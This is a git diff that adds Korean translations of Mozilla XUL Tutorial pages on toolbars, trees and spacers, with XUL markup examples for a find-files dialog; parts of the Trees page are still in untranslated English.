+<p>툴박스에 있는 그리피들은 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/toolbargrippy" title="toolbargrippy">toolbargrippy</a></code></code>라는 요소를 이용해서 작성됩니다. 그리피의 목적이 툴바를 접기 위한 것이기 때문에, 툴바 밖에서 이 요소를 사용하는 것은 아무 의미가 없습니다. 그러나 좀 다른 스타일을 원할 수 도 있습니다. 여러분은 <code>toolbar</code> 요소의 <code><code id="a-grippyhidden"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/grippyhidden">grippyhidden</a></code></code> 속성을 <code>true</code>로 설정하면 그리피를 숨길 수 있습니다.</p>
+
+<div class="float-right">
+<p>동일 툴바들이지만 두 개는 접혀 있습니다.<br>
+ <img alt="Image:toolbar3.jpg"></p>
+</div>
+
+<p>3개의 툴바를 가진 툴박스<br>
+ <img alt="Image:toolbar2.jpg"></p>
+
+<div class="highlight">
+<h3 id=".EC.9A.B0.EB.A6.AC.EC.9D.98_.ED.8C.8C.EC.9D.BC_.EC.B0.BE.EA.B8.B0_.EC.98.88.EC.A0.9C" name=".EC.9A.B0.EB.A6.AC.EC.9D.98_.ED.8C.8C.EC.9D.BC_.EC.B0.BE.EA.B8.B0_.EC.98.88.EC.A0.9C">우리의 파일 찾기 예제</h3>
+
+<p>파일 찾기 대화창에 툴바를 넣어 보겠습니다. 사실 툴바가 꼭 필요한 것은 아니지만 설명을 위해서 추가할 것입니다. 2개의 버튼이 추가될 것인데, 열기(Open)와 저장(Save) 버튼입니다. 아마도 이것들은 사용자가 검색 결과를 저장하고 나중에 다시 열어볼 수 있게 해줄 것 같습니다.</p>
+
+<pre class="eval">&lt;vbox flex="1"&gt;
+  <span class="highlightblue">&lt;toolbox&gt;
+    &lt;toolbar id="findfiles-toolbar"&gt;
+      &lt;toolbarbutton id="opensearch" label="Open"/&gt;
+      &lt;toolbarbutton id="savesearch" label="Save"/&gt;
+    &lt;/toolbar&gt;
+  &lt;/toolbox&gt;</span>
+  &lt;tabbox&gt;
+</pre>
+
+<div class="float-right"><img alt="Image:toolbar5.png"></div>
+
+<p>2개의 버튼을 가진 툴바가 추가되었습니다. 그림에서 여러분은 툴바가 상단에 가로방향으로 나타나 있는 것을 볼 수 있습니다. 그리피 또한 툴바의 왼쪽면에 보입니다. 주목할 점은 툴바가 세로 상자 내 탭상자 바로 위의 위치하고 있다는 것입니다. 이것은 툴바가 모든 것보다 앞에 나타나도록 하기 위해 세로방향을 사용했기 때문입니다.</p>
+
+<p>지금까지의 파일 찾기 예제 : <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-toolbar.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-toolbar.xul">View</a></p>
+</div>
+
+<p>다음에는 창에 <a href="ko/XUL_Tutorial/Simple_Menu_Bars">메뉴바</a>를 넣는 방법에 대해 알아보겠습니다.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Scroll_Bars" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Simple_Menu_Bars">다음  »</a></p>
+</div><p></p>
diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/trees/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/trees/index.html
new file mode 100644
index 0000000000..23e3afa192
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/xul_tutorial/trees/index.html
@@ -0,0 +1,166 @@
+---
+title: Trees
+slug: Mozilla/Tech/XUL/XUL_Tutorial/Trees
+tags:
+  - XUL
+  - XUL_Tutorial
+translation_of: Archive/Mozilla/XUL/Tutorial/Trees
+---
+<p> </p>
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:XPCOM_Examples" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:More_Tree_Features">다음  »</a></p>
+</div><p></p>
+<p>XUL은 tree를 사용하여 표형태 또는 계층목록을 만드는 방법을 제공합니다.</p>
+<h3 id=".ED.8A.B8.EB.A6.AC" name=".ED.8A.B8.EB.A6.AC">트리</h3>
+<p><a href="ko/XUL/tree">tree</a>에서 가장 복잡한 요소중 하나가 tree입니다. listbox처럼, tree는 항목을 만드는 데 사용할 수 있습니다. tree 요소는 계층적 목록 또는 표를 만들 수도 있습니다. 예를 들어 메일 프로그램에서 메시지 목록, 또는 모질라의 북마크 편집창을 tree를 사용하여 만들 수 있습니다.</p>
+<p>어떤 측면에서 tree는 <code><a href="ko/XUL/listbox">listbox</a></code>와 유사합니다. 둘다 다중 행과 열을 가진 표를 만드는 데 사용할 수 있으며, 둘다 열 머릿말(header)을 담을 수 있습니다. tree는 안쪽(netsted) 행을 지원하지만, listbox는 그렇지 않습니다. 하지만, listbox는 어떤 형태의 내용도 담을 수 있습니다. 반면 tree는 글과 그림 내용만 담을 수 있습니다. listbox는 단순하게 처리할 경우, tree에 대한 대안으로 만들어졌기 때문에, 필요한 경우 대신 사용할 수 있습니다. (프로그레스 바나 체크 박스 같은 경우 트리에 추가할 수 있습니다.)</p>
+<p>tree는 칼럼 세트와 tree body 두 가지 부분으로 나누어 집니다. A tree consists of two parts, the set of columns, and the tree body.</p>
+<ul>
+ <li>칼럼 세트는 <code><a href="ko/XUL/treecol">treecol</a></code> 요소의 갯수로 표시합니다. 각 칼럼은 tree의 상위 헤더로 나타납니다.</li>
+</ul>
+<p>elements, one for each column. Each column will appear as a header at the top of the tree.</p>
+<ul>
+ <li>tree body는 tree에 포함되거나 <code><a href="ko/XUL/treechildren">treechildren</a></code> 태그로 만든 데이터를 말합니다.</li>
+</ul>
+<p>The tree is unique in that the body of the tree consists only of a single widget which draws all of the data in the tree. This contrasts with the listbox, where individual <code><a href="ko/XUL/listitem">listitem</a></code> and <code><a href="ko/XUL/listcell">listcell</a></code> tags are used to specify the rows in the listbox. In a tree, all of the data to be displayed is supplied by a separate object, called a tree view. When it comes time to display a cell, the tree widget will call out to this tree view to determine what to display, which in turn will be drawn by the tree. The tree is smart enough to only ask for information from the view for those rows that need to be displayed. This allows the view to be optimized such that it only needs to load the data for displayed content. For instance, a tree might have thousands of rows, yet most of them will be scrolled off the border of the tree, hidden from view. This means that the tree is scalable to any number of rows without any performance problems. Of course, this is independant of the performance of the view object itself.</p>
+<p>A tree view is an object which implements the <a href="ko/NsITreeView">nsITreeView</a> interface. This interface contains thirty properties and functions which you may implement. These functions will be called by the tree as necessary to retrieve data and state about the tree. For instance, the <code>getCellText()</code> function will be called to get the label for a particular cell in the tree.</p>
+<p>An advantage of using a tree view is that it allows the view to store the data in a manner which is more suitable for the data, or to load the data on demand as rows are displayed. This allows more flexibility when using trees.</p>
+<p>Naturally, having to implement a tree view with thirty or so properties and methods for every tree can be very cumbersome, especially for simple trees. Fortunately, XUL provides a couple of built-in view implementations which do most of the hard work for you. For most trees, especially when you first start to use trees, you will use one of these built-in types. However, you can create a view entirely from scratch if necessary. If you do, you might store the data in an <a href="ko/A_re-introduction_to_JavaScript#Arrays">array</a> or JavaScript data structure, or load the data from an XML file.</p>
+<p>Since the entire body of the tree is a single widget, you can't change the style of individual rows or cells in the normal way. This is because there are no elements that display the individual cells, like there is with the <a href="ko/XUL_Tutorial/List_Controls#Multi-Column_List_Boxes">listbox</a>. Instead, all drawing is done by the tree body using data supplied by the view. This is an important point and many XUL developers have trouble understanding this aspect. To modify the appearance of a tree cell, the view must instead associate a set of keywords for a row and cell. A special CSS syntax is used which styles components of the tree body with those keywords. In a sense, it is somewhat like using CSS classes. Tree styling will be discussed in detail in a <a href="ko/XUL_Tutorial/Styling_a_Tree">later section</a>.</p>
+<h3 id="Tree_.EC.9A.94.EC.86.8C" name="Tree_.EC.9A.94.EC.86.8C">Tree 요소</h3>
+<p>Trees can be created with the <code><code><a href="/ko/docs/Mozilla/Tech/XUL/tree" title="tree">tree</a></code></code> element, which is described in the following sections. There are also two elements used to define the columns to be displayed in the tree.</p>
+<dl>
+ <dt>
+  <code><a href="/ko/docs/Mozilla/Tech/XUL/tree" title="tree">tree</a></code></dt>
+ <dd>
+  This is the outer element of a tree.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/ko/docs/Mozilla/Tech/XUL/treecols" title="treecols">treecols</a></code></dt>
+ <dd>
+  This element is a placeholder for a set of <code><code><a href="/ko/docs/Mozilla/Tech/XUL/treecol" title="treecol">treecol</a></code></code> elements.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/ko/docs/Mozilla/Tech/XUL/treecol" title="treecol">treecol</a></code></dt>
+ <dd>
+  This is used to declare a column of the tree. By using this element, you can specify additional information about how the data in the columns are sorted and if the user can resize the columns. You should always place an <code><a href="/ko/XUL/Attribute/id" title="ko/XUL/Attribute/id">id</a></code> attribute on a column, as Mozilla uses the ids to identify the columns when rearranging and hiding them. This is no longer required in Mozilla 1.8 and later, but it is still a good idea to use ids on columns.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/ko/docs/Mozilla/Tech/XUL/treechildren" title="treechildren">treechildren</a></code></dt>
+ <dd>
+  This contains the main body of the tree where the individual rows of data will be displayed.</dd>
+</dl>
+<h5 id=".EB.91.90.EA.B0.9C_.EC.B9.BC.EB.9F.BC.EC.9D.84_.EA.B0.80.EC.A7.84_.ED.8A.B8.EB.A6.AC" name=".EB.91.90.EA.B0.9C_.EC.B9.BC.EB.9F.BC.EC.9D.84_.EA.B0.80.EC.A7.84_.ED.8A.B8.EB.A6.AC">두개 칼럼을 가진 트리</h5>
+<p><a href="https://developer.mozilla.org/samples/xultu/examples/ex_trees_1.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_trees_1.xul">View</a></p>
+<pre>&lt;tree flex="1"&gt;
+
+  &lt;treecols&gt;
+    &lt;treecol id="nameColumn" label="Name" flex="1"/&gt;
+    &lt;treecol id="addressColumn" label="Address" flex="2"/&gt;
+  &lt;/treecols&gt;
+
+  &lt;treechildren/&gt;
+
+&lt;/tree&gt;
+</pre>
+<p>First, the entire table is surrounded with a <code><code><a href="/ko/docs/Mozilla/Tech/XUL/tree" title="tree">tree</a></code></code> element. This declares an element that is used as a table or tree. As with HTML tables, the data in a tree is always organized into rows. The columns are specified using the <code><code><a href="/ko/docs/Mozilla/Tech/XUL/treecols" title="treecols">treecols</a></code></code> tag.</p>
+<p>You may place as many columns as you wish in a tree. As with <a href="/ko/XUL_Tutorial/List_Controls" title="ko/XUL_Tutorial/List_Controls">listboxes</a>, a header row will appear with column labels. A drop-down menu will appear in the upper-right corner of the tree, which the user may use to show and hide individual columns. Each column is created with a <code><code><a href="/ko/docs/Mozilla/Tech/XUL/treecol" title="treecol">treecol</a></code></code> element. You can set the header label using the <code>label</code> attribute. You may also want to make the columns flexible if your tree is flexible, so that the columns stretch as the tree does. In this example, the second column will be approximately twice as wide as the first column. All of the columns should be placed directly inside a <code><code><a href="/ko/docs/Mozilla/Tech/XUL/treecols" title="treecols">treecols</a></code></code> element.</p>
+<p>In this case we haven't specified a view to supply the tree's data, so we'll only see column headers and an empty tree body. You may have to resize the window to see anything since there isn't any data to display. Since the tree has been marked as flexible, the body will stretch to fit the available space. Making a tree flexible is quite commonly done, as it is often the case that the data in the tree is the most significant information displayed, so it makes sense to make the tree grow to fit. However, you may specify a specific number of rows to appear in a tree by setting the <code><code id="a-rows"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/rows">rows</a></code></code> attribute on the <code><code><a href="/ko/docs/Mozilla/Tech/XUL/tree" title="tree">tree</a></code></code> element. This attribute specifies how many rows are displayed in the user interface, not how many rows of data there are. The total number of rows is supplied by the tree view. If there are more rows of data in the tree, a scrollbar will appear to allow the user to see the rest of them. If you don't specify the <code><code id="a-rows"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/rows">rows</a></code></code> attribute, the default value is 0, which means that none of the rows will appear. In this case, you would make the tree flexible. If your tree is flexible, it doesn't need a <code><code id="a-rows"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/rows">rows</a></code></code> attribute since it will grow to fit the available space.</p>
+<h3 id="The_Content_Tree_View" name="The_Content_Tree_View">The Content Tree View</h3>
+<p>Having said that the data to be displayed in a tree comes from a view and not from XUL tags, there happens to be a built-in tree view which gets its data from XUL tags. This may be a bit confusing, but essentially, one of the built-in tree views uses a set of tags which can be used to specify information about the data in the tree. The following tags are used:</p>
+<dl>
+ <dt>
+  <code><a href="/ko/docs/Mozilla/Tech/XUL/treeitem" title="treeitem">treeitem</a></code></dt>
+ <dd>
+  This contains a single parent row and all its descendants. This element also serves as the item which can be selected by the user. The treeitem tag would go around the entire row so that it is selectable as a whole.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/ko/docs/Mozilla/Tech/XUL/treerow" title="treerow">treerow</a></code></dt>
+ <dd>
+  A single row in the tree, which should be placed inside a <code><code><a href="/ko/docs/Mozilla/Tech/XUL/treeitem" title="treeitem">treeitem</a></code></code> tag.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/ko/docs/Mozilla/Tech/XUL/treecell" title="treecell">treecell</a></code></dt>
+ <dd>
+  A single cell in a tree. This element would go inside a treerow element.</dd>
+</dl>
+<p>Conveniently, these tags may be placed directly inside the <code><code><a href="/ko/docs/Mozilla/Tech/XUL/treechildren" title="treechildren">treechildren</a></code></code> tag, nested in the order above. The tags define the data to be displayed in the tree body. In this case, the tree uses the built-in tree view, called a content tree view, which uses the labels and values specified on these elements as the data for the tree. When the tree needs to display a row, the tree asks the content tree view for a cell's label by calling the view's getCellText function, which in turn gets the data from the label of the appropriate <code><code><a href="/ko/docs/Mozilla/Tech/XUL/treecell" title="treecell">treecell</a></code></code>.</p>
+<p>However, the three elements listed above are not displayed directly. They are used only as the source for the data for the view. Thus, only a handful of attributes apply to the <code><code><a href="/ko/docs/Mozilla/Tech/XUL/treeitem" title="treeitem">treeitem</a></code></code> and related elements. For instance, you cannot change the appearance of the tree rows using the <code><code id="a-style"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/style">style</a></code></code> attribute or with other CSS properties and the box related features such as flexibility and orientation cannot be used.</p>
+<p>In fact, apart from some tree specific attributes, the only attributes that will have any effect will be the <code><code id="a-label"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/label">label</a></code></code> attribute to set a text label for a cell and the <code><code id="a-src"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/src">src</a></code></code> attribute to set an image. However, there are special ways of styling the tree and setting other features which we will see in later sections.</p>
+<p>Also, events do not get sent to <code><code><a href="/ko/docs/Mozilla/Tech/XUL/treeitem" title="treeitem">treeitem</a></code></code> element and their children; instead they get sent to the <code><code><a href="/ko/docs/Mozilla/Tech/XUL/treechildren" title="treechildren">treechildren</a></code></code> element.</p>
+<p>That the treeitems are unlike other XUL elements is a common source of confusion for XUL developers. Essentially, the tree content view is a view where the data for the cells is supplied from tags placed inside the tree. Naturally, if you are using a different kind of view, the data will be supplied from another source, and there won't be any <code><code><a href="/ko/docs/Mozilla/Tech/XUL/treeitem" title="treeitem">treeitem</a></code></code> elements at all.</p>
+<p>Let's start by looking at how to create a simple tree with multiple columns using the tree content view. This could be used to create a list of mail messages. There might be multiple columns, such as the sender and the subject.</p>
+<h4 id="treechildren_.EC.98.88.EC.A0.9C" name="treechildren_.EC.98.88.EC.A0.9C"><code>treechildren</code> 예제</h4>
+<p><a href="https://developer.mozilla.org/samples/xultu/examples/ex_trees_2.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_trees_2.xul">View</a></p>
+<div class="float-right">
+ <img alt="Image:trees1.png"></div>
+<pre>&lt;tree flex="1"&gt;
+
+  &lt;treecols&gt;
+    &lt;treecol id="sender" label="Sender" flex="1"/&gt;
+    &lt;treecol id="subject" label="Subject" flex="2"/&gt;
+  &lt;/treecols&gt;
+
+  &lt;treechildren&gt;
+    &lt;treeitem&gt;
+      &lt;treerow&gt;
+        &lt;treecell label="joe@somewhere.com"/&gt;
+        &lt;treecell label="Top secret plans"/&gt;
+      &lt;/treerow&gt;
+    &lt;/treeitem&gt;
+    &lt;treeitem&gt;
+      &lt;treerow&gt;
+        &lt;treecell label="mel@whereever.com"/&gt;
+        &lt;treecell label="Let's do lunch"/&gt;
+      &lt;/treerow&gt;
+    &lt;/treeitem&gt;
+  &lt;/treechildren&gt;
+
+&lt;/tree&gt;
+</pre>
+<p>그림에서 보듯이, 두개의 자료 열을 가진 tree가 만들어졌습니다.</p>
+<p>이 tree는 두개의 열을 가지고 있고, 이 중 두번째는 첫번째보다 더많은 공간을 차지하게 되어있습니다. 이 경우 해당 열에 flex 속성을 줄 것입니다. CSS의 <code><code id="a-width"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/width">width</a></code></code> 속성으로 넓이값을 줄 수도 있습니다. tree에 있는 열의 숫자만큼 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/treecol" title="treecol">treecol</a></code></code> 요소를 포함시켜야 한다. 그렇지않으면 엉뚱한 일이 발생합니다.</p>
+<p><br>
+ 머릿말 행(header row)은 자동으로 만들어집니다. 오른쪽 위에 있는 버튼은 해당 열을 숨기고 감출 수 있습니다. 이 버튼을 숨기고 싶다면 <code><code id="a-hidecolumnpicker"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/hidecolumnpicker">hidecolumnpicker</a></code></code> 속성을 tree에 넣거나 true 값을 주면 됩니다. 각 열에 id 속성을 설정했는 지 또는 행의 숨김과 보기가 작동하는 지를 확인하도록 합니다.</p>
+<p>Make sure that you set an <code><code id="a-id"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/id">id</a></code></code> attribute on each column or the hiding and showing of columns will not work in all versions of Mozilla.</p>
+<p>The <code>treechildren</code> element surrounds all of the rows. Inside the body are individual rows, which may in turn contain other rows. For a simpler tree, each row is created with the <code><code><a href="/ko/docs/Mozilla/Tech/XUL/treeitem" title="treeitem">treeitem</a></code></code> and <code><code><a href="/ko/docs/Mozilla/Tech/XUL/treerow" title="treerow">treerow</a></code></code> elements. The <code>treerow</code> element surrounds all of the cells in a single row, while a <code>treeitem</code> element would surround a row and all of its children. Trees with nested rows are described in the next section.</p>
+<p>Inside the rows, you will put individual tree cells. These are created using the <code><code><a href="/ko/docs/Mozilla/Tech/XUL/treecell" title="treecell">treecell</a></code></code> element. You can set the text for the cell using the <code>label</code> attribute. The first <code><code><a href="/ko/docs/Mozilla/Tech/XUL/treecell" title="treecell">treecell</a></code></code> in a row determines the content that will appear in the first column, the second <code><code><a href="/ko/docs/Mozilla/Tech/XUL/treecell" title="treecell">treecell</a></code></code> determines the content that will appear in the second column, and so on.</p>
+<p><br>
+ 사용자는 마우스로 항목을 클릭하거나 키보드를 사용해서, treeitem을 선택할 수 있습니다. Shift 또는 Control 키를 누른 상태에서 다른 행을 클릭해서 다중 항목을 선택할 수 있습니다. 다중선택을 사용 못하게 하려면, tree에 <code><code id="a-seltype"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/seltype">seltype</a></code></code> 속성을 넣고, 값을 <code>single</code>로 합니다. 이렇게하면, 한번에 한 행만 선택할 수 있습니다.</p>
+<div class="highlight">
+ <h4 id=".EC.B0.BE.EC.9D.80_.ED.8C.8C.EC.9D.BC.EC.97.90.EC.84.9C_tree_.EC.B6.94.EA.B0.80" name=".EC.B0.BE.EC.9D.80_.ED.8C.8C.EC.9D.BC.EC.97.90.EC.84.9C_tree_.EC.B6.94.EA.B0.80">찾은 파일에서 tree 추가</h4>
+ <p>검색결과가 표시되도록 파일찾기(find files) 창에 tree를 추가해보자. 다음 코드는 iframe에 추가해야 한다. tree는 treeview를 사용합니다. 아래 코드는 <a href="ko/XUL_Tutorial/Content_Panels#iframe_example">iframe</a>에 추가할 수 있습니다.</p>
+ <pre class="eval"><span class="highlightred">&lt;tree flex="1"&gt;
+  &lt;treecols&gt;
+    &lt;treecol id="name" label="Filename" flex="1"/&gt;
+    &lt;treecol id="location" label="Location" flex="2"/&gt;
+    &lt;treecol id="size" label="Size" flex="1"/&gt;
+  &lt;/treecols&gt;
+
+  &lt;treechildren&gt;
+   &lt;treeitem&gt;
+     &lt;treerow&gt;
+       &lt;treecell label="mozilla"/&gt;
+       &lt;treecell label="/usr/local"/&gt;
+       &lt;treecell label="2520 bytes"/&gt;
+     &lt;/treerow&gt;
+   &lt;/treeitem&gt;
+  &lt;/treechildren&gt;
+&lt;/tree&gt;</span>
+
+&lt;splitter collapse="before" resizeafter="grow"/&gt;
+</pre>
+ <p>파일명(filename), 위치(location) 그리고 파일크기(file size)라는 3개의 행을 가진 tree를 추가한 것입니다. 두번째 열은 더 큰 flex(flex="2")값을 가지고 있기 때문에 넓이가 2배가 됩니다. 하나의 행이 추가되었는 데, 하나의 행을 가진 표가 어떤 모습인지 설명하기 위한 것입니다. 실제 마무리 단계에서는, 검색했을 경우 해당 열은 스크립트에 의해 추가될 것입니다.</p>
+ <p>지금까지 예제는 <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-trees.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-trees.xul">View</a>에서 보실 수 있습니다.</p>
+</div>
+<p><br>
+ 다음 장에서는 <a href="ko/XUL_Tutorial/More_Tree_Features">고급 tree 기능</a>에 대해 알아 보겠습니다.</p>
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:XPCOM_Examples" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:More_Tree_Features">다음  »</a></p>
+</div><p></p>
+<p></p>
diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/using_spacers/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/using_spacers/index.html
new file mode 100644
index 0000000000..34128c0e57
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/xul_tutorial/using_spacers/index.html
@@ -0,0 +1,112 @@
+---
+title: Using Spacers
+slug: Mozilla/Tech/XUL/XUL_Tutorial/Using_Spacers
+tags:
+  - XUL
+  - XUL_Tutorial
+translation_of: Archive/Mozilla/XUL/Tutorial/Using_Spacers
+---
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Adding_HTML_Elements" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:More_Button_Features">다음  »</a></p>
+</div><p></p>
+<p>이 단원에는 우리가 만든 요소들 사이에 여백을 넣는 방법을 알아볼 것입니다.</p>
+<h3 id=".EC.97.AC.EB.B0.B1.28spacer.29_.EB.84.A3.EA.B8.B0" name=".EC.97.AC.EB.B0.B1.28spacer.29_.EB.84.A3.EA.B8.B0">여백(spacer) 넣기</h3>
+<p>사용자 인터페이스를 개발하는데 있어서의 문제점 중 하나는 사용자마다 서로 다른 화면 장치를 가진다는 것입니다. 어떤 사용자는 고해상도에 큰 화면을 가지고 있으며, 또 다른 사용자는 저해상도를 가지고 있을 수 있습니다. 더군다나, 다른 플랫폼은 사용자 인터페이스에 특별한 요구조건을 가지고 있을 수 있습니다. 다중 언어를 지원할 경우, 어떤 언어에 사용된 텍스트는 다른 언어보다 더 많은 공간이 필요할지도 모릅니다.</p>
+<p>다중 플랫폼과 언어를 지원해야 하는 응용프로그램은 이를 위해 많은 여백을 가지는 창 배치를 합니다. 일부 플랫폼과 사용자인터페이스 툴킷은 사용자의 요구에 맞게 크기 조절과 위치 설정을 잘 처리하는 구성요소를 제공합니다. (예를 들어, 자바에서는 레이아웃 관리자를 사용합니다.)</p>
+<p>XUL은 요소의 위치와 크기 재설정을 자동으로 처리할 수 있는 기능을 제공하고 있습니다. 앞서 본것 처럼, 파일 찾기 창은 내부 요소 크기에 맞게 표시되었습니다. 우리가 새로운 요소를 추가할 때마다 창 크기는 더욱 커졌습니다.</p>
+<p>XUL은 '상자 모델(Box Model)'이라고 하는 레이아웃 시스템을 사용합니다. 이에 대해서는 <a href="ko/XUL_Tutorial/The_Box_Model">다음 단원</a>에서 언급할텐데, 이는 기본적으로 창을 요소를 포함한 일련의 상자로 나눌 수 있게 해줍니다. 상자는 사용자가 정의한 사양에 근거하여 위치와 크기를 조절하게 된다. 현재로써는, <code><code><a href="/ko/docs/Mozilla/Tech/XUL/window" title="window">window</a></code></code> 요소가 상자 형식이라는 것만 알도록 하자.</p>
+<p>상자에 대한 세부 내용을 다루기 전에, 레이아웃에 유용한 또 다른 XUL 요소인 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/spacer" title="spacer">spacer</a></code></code>를 소개할 것입니다. 여백(spacer)는 매우 단순하고 한가지 속성만을 필요로 하는데, 곧 설명하겠습니다. 가장 단순한 여백(spacer)은 다음과 같습니다.</p>
+<pre class="eval">&lt;spacer flex="1"/&gt;
+</pre>
+<p><code><code><a href="/ko/docs/Mozilla/Tech/XUL/spacer" title="spacer">spacer</a></code></code>는 창에 공백을 넣는 데 사용됩니다. 공백 요소의 가장 유용한 점은 사용자가 창의 크기를 조절하는 것처럼 공백 자체가 늘어나거나 줄어들 수 있다는 것입니다. 창의 크기와 상관없이 버튼을 창의 오른쪽 또는 하단에 두면서 오른쪽 또는 하단 모서리에 고정시키는 것이라고 보면 됩니다. 앞으로 보겠지만, 수많은 레이아웃 효과를 주기 위해서 여러개의 공백 요소를 사용할 수 있습니다.</p>
+<p>위의 구문에서, 공백 요소는 <code><code id="a-flex"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/flex">flex</a></code></code>라는 한 가지 속성을 가지고 있습니다. 이것은 공백의 유연성을 정의하는 데 사용됩니다. 위의 경우에서, 공백은 1이라는 flex를 가집니다. 이것은 공백 요소를 신축성 있게 만들어 줍니다. 사용자가 직접 창 내부에 공백 요소를 위치시키면, 창의 크기가 변경됨에 따라 공백도 같이 늘어나게 됩니다.</p>
+<p>잠시 후 파일찾기 대화창에 공백 요소를 추가할 것입니다. 그 전에 먼저 현재 대화창의 크기를 조절할 때 어떤일이 일어나는지 보도록 하겠습니다.</p>
+<p><img alt="Image:springs1.jpg"></p>
+<p>파일찾기 창의 크기를 변경하더라도 포함된 요소들은 그것들의 원래 위치에 그대로 있는 것을 볼 수 있습니다. 창이 더 많은 공간을 가지게 되더라도, 이들 중 어느 것도 이동하거나 크기를 변경하지 않습니다. 글상자(text box)와 찾기(Fine) 버튼 사이에 공백 요소를 추가하였을 때는 어떻게 될지 보겠습니다.</p>
+<p><img alt="Image:springs2.jpg"></p>
+<p>공백 요소를 추가하고 창 크기를 조절하면, 공백이 여백을 채우기 위해 확장되는 것을 볼 수 있습니다. 버튼들은 밀려나 위치하게 됩니다.</p>
+<div class="highlight">
+ <h5 id=".EC.9A.B0.EB.A6.AC.EC.9D.98_.ED.8C.8C.EC.9D.BC_.EC.B0.BE.EA.B8.B0_.EC.98.88.EC.A0.9C" name=".EC.9A.B0.EB.A6.AC.EC.9D.98_.ED.8C.8C.EC.9D.BC_.EC.B0.BE.EA.B8.B0_.EC.98.88.EC.A0.9C">우리의 파일 찾기 예제</h5>
+ <p>공백 요소를 추가한 코드는 아래와 같습니다. 해당 요소를 Find 버튼 앞에 삽입하세요.</p>
+ <pre class="eval"><span class="highlightred">&lt;spacer flex="1"/&gt;</span>
+
+&lt;button id="find-button" label="Find"/&gt;
+</pre>
+</div>
+<h3 id=".EC.9C.A0.EC.97.B0.EC.84.B1.EC.97.90_.EB.8C.80.ED.95.9C_.EB.8D.94_.EB.A7.8E.EC.9D.80_.EA.B2.83.EB.93.A4" name=".EC.9C.A0.EC.97.B0.EC.84.B1.EC.97.90_.EB.8C.80.ED.95.9C_.EB.8D.94_.EB.A7.8E.EC.9D.80_.EA.B2.83.EB.93.A4">유연성에 대한 더 많은 것들</h3>
+<p>XUL은 요소에 적당한 넓이와 높이를 계산하여 여백을 추가하는 식으로 창에 있는 요소를 배치합니다. 사용자가 요소의 넓이와 높이에 대한 정보를 지정하지 않으면, 요소의 기본 크기는 내용에 의해 결정됩니다. 대화상자의 취소(Cancel) 버튼이 항상 기본 넓이로 설정되어 있어서 글에 맞출 수 있습니다. 매우 긴 라벨을 가진 버튼을 만든다면, 버튼의 기본 크기는 전체 라벨을 담기에 충분하게 커지게 됩니다. 글상자와 같은 다른 요소는 적당한 기본 크기를 선택한 것을 볼 수 있습니다.</p>
+<p><code>flex</code> 속성은 어떤 요소가 상자(이 경우, 창)에 맞출 수 있도록 크기 변경 여부를 지정하는 데 사용됩니다. 앞에서, 공백 요소에 적용된 flex 속성을 봤지만, 이 속성은 어떤 요소에도 적용할 수 있습니다. 예를 들어, 여러분은 아마 Find 버튼 크기가 수정되도록 하기를 원하실 수도 있습니다.</p>
+<p><img alt="Image:springs3.jpg"></p>
+<p>그림에서 보는 것처럼, 찾기(Find) 버튼에 flex 속성을 지정하면, 창의 크기가 바뀌었을 때 버튼의 크기도 변경됩니다. 공백 요소는 특별한 것이 아니고 그냥 숨겨진 버튼이라고 생각하시면 됩니다. 이것은 화면에서 출력되지 않을 뿐이지, 버튼과 동일한 방식으로 동작합니다.</p>
